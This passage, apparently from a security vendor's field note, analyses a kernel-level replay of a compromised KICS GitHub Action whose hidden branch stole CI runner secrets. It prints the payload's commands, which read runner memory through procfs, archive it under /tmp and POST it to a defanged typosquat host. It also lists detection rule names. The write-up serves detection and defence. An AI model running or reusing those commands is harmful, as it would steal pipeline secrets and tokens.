v2.1.20, SHA b974e53d), run 23471711050. KICS produced clean log output; the same workflow tree carries a parallel branch under Runner.Listener that read from /proc/<pid>/mem and reached checkmarx[.]zone. The scan result and the kernel record describe two different jobs.Public reporting documents the technique — a compromised release pipeline reissued the KICS action with a payload that read runner memory through procfs and posted the archive to a typosquat host, with a fallback that opened docs-tpcp repositories under the victim's GITHUB_TOKEN (Wiz). The run below is a Garnet-instrumented replay of that technique; the focus from here is what the record contains, not the attack timeline.
Execution lineage
Run 23471711050
The record carries two branches under one run. The container branch runs kics and reaches kics.io plus registry.npmjs.org — expected scanner and update traffic. A separate Runner.Listener branch launches curl to checkmarx[.]zone (83.142.209.11) while also touching apk.cgr.dev — the compromised action's divergence from normal scan behavior.
Assertions flagged
This run is a lineage-only replay; the canonical egress check on this profile returned pass against the replay's allowlist. The class of check that would catch checkmarx[.]zone on an unrestricted runner is the canonical egress check (no_bad_egress_domain).
What was observed
Process ancestry. Two branches under one run. The KICS scanner branch under the container follows the expected kics shape and exits cleanly. The sibling Runner.Listener branch carries a bash child that reads from /proc/<runner_worker_pid>/mem, archives the result, and reaches the typosquat host. The technique class:
# Observed payload class in compromised KICS runs
cat /proc/<runner_worker_pid>/mem > /tmp/tpcp.mem
tar -czf /tmp/tpcp.tar.gz /tmp/tpcp.mem
curl -X POST https://checkmarx[.]zone --data-binary @/tmp/tpcp.tar.gzOn the same ancestry the record carries interpreter_shell_spawn (the parallel bash under Runner.Listener), exec_from_unusual_dir (staging from /tmp before outbound), environ_read_from_procfs / the related code_modification_through_procfs class for the procfs reads against Runner.Worker, and data_encoder_exec (the archive built immediately before the outbound curl -X POST).
Network. The parallel branch reaches checkmarx[.]zone (83.142.209.11) over TCP — a typosquat outside the expected KICS egress shape. The scanner branch's expected destinations are also in the record: kics.io, registry.npmjs.org, apk.cgr.dev.
File / memory access. The procfs reads against Runner.Worker and the subsequent archive under /tmp are visible on the parallel ancestry. The scanner branch's file activity covers scanner caches and report output and is otherwise unremarkable.
Notable absences. No binary_self_deletion on the parallel branch — the staged binary stayed on disk. KICS exit code and log output read clean throughout; the parallel branch does not appear in the scanner's output.
Analysis
The interesting property of this record is that two branches in one job tree carried two different stories — one ran the scanner cleanly, the other read runner memory through procfs and reached an outbound destination — and the kernel-level lineage holds them in the same artifact. Whichever branch a reader watches in logs, the other is still in the record.
Garnet records process ancestry, file access, and network egress straight from the kernel for every workflow run by the Garnet GitHub Action. Sibling-branch behavior shows up in the same artifact, regardless of the headline scanner exit code.
More field notes: Aqua Trivy · LiteLLM · Telnyx.